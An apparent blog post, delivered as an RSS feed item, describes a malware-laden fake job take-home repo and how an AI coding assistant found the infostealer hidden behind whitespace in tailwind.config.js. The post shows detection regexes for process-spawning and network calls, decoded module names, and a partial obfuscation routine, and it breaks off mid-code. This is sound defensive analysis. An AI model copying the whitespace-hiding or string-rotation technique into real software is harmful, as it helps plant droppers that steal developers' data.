<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Deny Herianto</title>
    <description>The latest articles on DEV Community by Deny Herianto (@denyherianto).</description>
    <link>https://dev.to/denyherianto</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3594171%2F0292dc09-fdee-4d02-a50f-b25342a2e983.jpeg</url>
      <title>DEV Community: Deny Herianto</title>
      <link>https://dev.to/denyherianto</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/denyherianto"/>
    <language>en</language>
    <item>
      <title>I Got a Job Offer. But, It Came With Malware.</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Wed, 15 Apr 2026 09:51:58 +0000</pubDate>
      <link>https://dev.to/denyherianto/i-got-a-job-offer-but-it-came-with-malwares-4c9a</link>
      <guid>https://dev.to/denyherianto/i-got-a-job-offer-but-it-came-with-malwares-4c9a</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fel2hesenna5qazc5duqa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fel2hesenna5qazc5duqa.png" alt="The recruiter's message on LinkedIn, asking me to complete a take-home technical assignment with a GitHub repo link and urging quick completion" width="507" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"After reviewing your background, we'd like to move forward with the next step in our hiring process."&lt;/em&gt; A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.&lt;/p&gt;

&lt;p&gt;I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run &lt;code&gt;yarn install&lt;/code&gt; when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?&lt;/p&gt;

&lt;p&gt;So instead of running it, I opened &lt;a href="https://claude.ai/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt; and asked it to audit the entire codebase for malware. What it found buried inside &lt;code&gt;tailwind.config.js&lt;/code&gt;, hidden behind 1500+ invisible whitespace characters, was a &lt;strong&gt;multi-stage infostealer&lt;/strong&gt; that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran &lt;code&gt;yarn start&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I later found &lt;a href="https://www.linkedin.com/posts/jithin-kg-0065681b7_cybersecurity-infosec-malware-activity-7434635702031659008-Z5UL" rel="noopener noreferrer"&gt;a LinkedIn post by Jithin KG&lt;/a&gt; describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.&lt;/p&gt;

&lt;p&gt;This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you &lt;code&gt;yarn install&lt;/code&gt; anything.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup: Everything Looked Normal
&lt;/h2&gt;

&lt;p&gt;The repo they sent me looked completely legitimate. It presented itself as an &lt;strong&gt;NFT Campaign Platform&lt;/strong&gt; called "Yootribe," built with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;React 18 + Redux frontend&lt;/li&gt;
&lt;li&gt;Express.js + SQLite backend&lt;/li&gt;
&lt;li&gt;Tailwind CSS, ethers.js, Web3, Uniswap SDK&lt;/li&gt;
&lt;li&gt;A clean README with setup instructions, sample login credentials (&lt;code&gt;mtngtest@chain.biz&lt;/code&gt; / &lt;code&gt;testpassword&lt;/code&gt;), and troubleshooting tips&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The assignment was straightforward:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Create a &lt;code&gt;WalletStatus.js&lt;/code&gt; component that checks wallet connection status and displays the wallet address. Add a route at &lt;code&gt;/dashboard/wallet-status&lt;/code&gt;. Submit a Pull Request.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running &lt;code&gt;yarn start&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That's exactly what they were counting on.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Claude Code Found It: The Audit
&lt;/h2&gt;

&lt;p&gt;Before touching &lt;code&gt;yarn install&lt;/code&gt;, I opened Claude Code in the project directory and ran a simple prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pass 1: Broad Codebase Scan
&lt;/h3&gt;

&lt;p&gt;Claude Code started by mapping the entire project structure, every file in &lt;code&gt;src/&lt;/code&gt;, &lt;code&gt;server/&lt;/code&gt;, &lt;code&gt;public/&lt;/code&gt;, and root config files. It then ran parallel searches across the codebase for known threat indicators:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suspicious imports and system access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Searching&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;for:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;child_process|exec(|execSync|spawn|fork(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Result:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package.json:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"child_process"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.2"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It immediately flagged &lt;code&gt;child_process&lt;/code&gt;, &lt;code&gt;crypto&lt;/code&gt;, and &lt;code&gt;fs&lt;/code&gt; as npm dependencies, Node.js built-ins that should never be installed as third-party packages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Private key handling:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;Searching&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;mnemonic&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;.?&lt;/span&gt;&lt;span class="nx"&gt;phrase&lt;/span&gt;
&lt;span class="nx"&gt;Results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;components&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Wallet&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;ExportWallet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;userData&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;wallet_private_key&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;components&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;CreateWallet&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Step4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;privateKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The server is a front-running bot:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional &lt;strong&gt;MEV (Maximal Extractable Value) exploit tool&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;server/controllers/snippingController.js&lt;/code&gt;, monitors the Ethereum mempool for &lt;code&gt;addLiquidity&lt;/code&gt; events and front-runs them&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;server/controllers/frontController.js&lt;/code&gt;, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal Router&lt;/li&gt;
&lt;li&gt;Zero authentication on bot control endpoints (&lt;code&gt;POST /startSnipping&lt;/code&gt;, &lt;code&gt;POST /startFront&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Pass 2: Deep Threat Vector Scan
&lt;/h3&gt;

&lt;p&gt;But the broad scan didn't find actual malware yet, no &lt;code&gt;eval()&lt;/code&gt;, no &lt;code&gt;atob()&lt;/code&gt;, no obvious obfuscation. So I asked Claude Code to go deeper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude Code ran targeted regex searches across every &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.jsx&lt;/code&gt;, &lt;code&gt;.ts&lt;/code&gt;, and &lt;code&gt;.tsx&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;Searching&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;,]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;`"'][^)]*)|
               setInterval([^,]*[`&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
               fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
               request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
               fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
               readFileSync|writeFileSync|createReadStream|os.(homedir|
               tmpdir|platform|hostname|userInfo)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most results were clean, normal &lt;code&gt;fetch()&lt;/code&gt; calls to the project's own API, standard &lt;code&gt;process.env&lt;/code&gt; usage, Sequelize's &lt;code&gt;fs.readdirSync&lt;/code&gt; for model loading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Then it hit &lt;code&gt;tailwind.config.js&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Claude Code read the file and found that &lt;strong&gt;line 18 didn't end at column 3&lt;/strong&gt;. After the &lt;code&gt;};&lt;/code&gt;, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with &lt;code&gt;const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;My editor never showed this. &lt;code&gt;git diff --stat&lt;/code&gt; showed &lt;code&gt;tailwind.config.js | 18 lines&lt;/code&gt;, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass 3: Decoding the Malware
&lt;/h3&gt;

&lt;p&gt;Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Claude Code ran this to decode the malware's string table:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Decoded results:&lt;/span&gt;
&lt;span class="c1"&gt;// 'os'            , operating system module&lt;/span&gt;
&lt;span class="c1"&gt;// 'fs'            , filesystem module&lt;/span&gt;
&lt;span class="c1"&gt;// 'request'       , HTTP client&lt;/span&gt;
&lt;span class="c1"&gt;// 'path'          , path utilities&lt;/span&gt;
&lt;span class="c1"&gt;// 'child_process' , process spawning&lt;/span&gt;
&lt;span class="c1"&gt;// 'platform'      , os.platform()&lt;/span&gt;
&lt;span class="c1"&gt;// 'tmpdir'        , os.tmpdir()&lt;/span&gt;
&lt;span class="c1"&gt;// 'hostname'      , os.hostname()&lt;/span&gt;
&lt;span class="c1"&gt;// 'username'      , os.userInfo().username&lt;/span&gt;
&lt;span class="c1"&gt;// 'spawn'         , child_process.spawn()&lt;/span&gt;
&lt;span class="c1"&gt;// 'exec'          , child_process.exec()&lt;/span&gt;
&lt;span class="c1"&gt;// 'writeFileSync' , fs.writeFileSync()&lt;/span&gt;
&lt;span class="c1"&gt;// 'existsSync'    , fs.existsSync()&lt;/span&gt;
&lt;span class="c1"&gt;// 'statSync'      , fs.statSync()&lt;/span&gt;
&lt;span class="c1"&gt;// 'mkdirSync'     , fs.mkdirSync()&lt;/span&gt;
&lt;span class="c1"&gt;// 'get'           , request.get()&lt;/span&gt;
&lt;span class="c1"&gt;// 'post'          , request.post()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat Vector&lt;/th&gt;
&lt;th&gt;Found&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dynamic code execution&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;child_process.exec()&lt;/code&gt; and &lt;code&gt;spawn()&lt;/code&gt; with &lt;code&gt;windowsHide: true&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote payload download&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;request.get()&lt;/code&gt; downloads from dynamically constructed C2 URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obfuscated code&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Base64 + XOR + string array rotation + 1500-char whitespace hiding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Background process creation&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;spawn({detached: true})&lt;/code&gt; + &lt;code&gt;unref()&lt;/code&gt; creates orphaned daemon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unusual system access&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All of this was found &lt;strong&gt;without running a single line of the project's code&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hidden Payload: 1500 Spaces of Silence
&lt;/h2&gt;

&lt;p&gt;The malware lives in &lt;strong&gt;one file&lt;/strong&gt;: &lt;code&gt;tailwind.config.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here's what you see if you open it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/** @type {import('tailwindcss').Config} */&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/**/*.{js,jsx,ts,tsx}&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./public/index.html&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;fontFamily&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;poppins&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Poppins&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sans-serif&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="na"&gt;corePlugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;preflight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the &lt;code&gt;};&lt;/code&gt;, there are &lt;strong&gt;over 1500 space characters&lt;/strong&gt; padding the line horizontally, followed by a massive block of obfuscated JavaScript:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;};&lt;/span&gt;                                          &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1500&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;more&lt;/span&gt; &lt;span class="nx"&gt;spaces&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a0ai&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a0a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;a0aj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a0a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;a0ak&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a0a1&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fthkazdxwkyt61s0dwqaz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fthkazdxwkyt61s0dwqaz.png" alt="Obfuscated Code" width="800" height="595"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No editor will show this without horizontal scrolling. &lt;code&gt;git diff&lt;/code&gt; won't flag it. Most code review tools render it as a clean, innocent config file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is the dropper.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 1: The Obfuscation
&lt;/h2&gt;

&lt;p&gt;The malicious code uses four stacked obfuscation techniques:&lt;/p&gt;

&lt;h3&gt;
  
  
  String Array Rotation
&lt;/h3&gt;

&lt;p&gt;A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;ab&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1a0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;ab&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1ed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
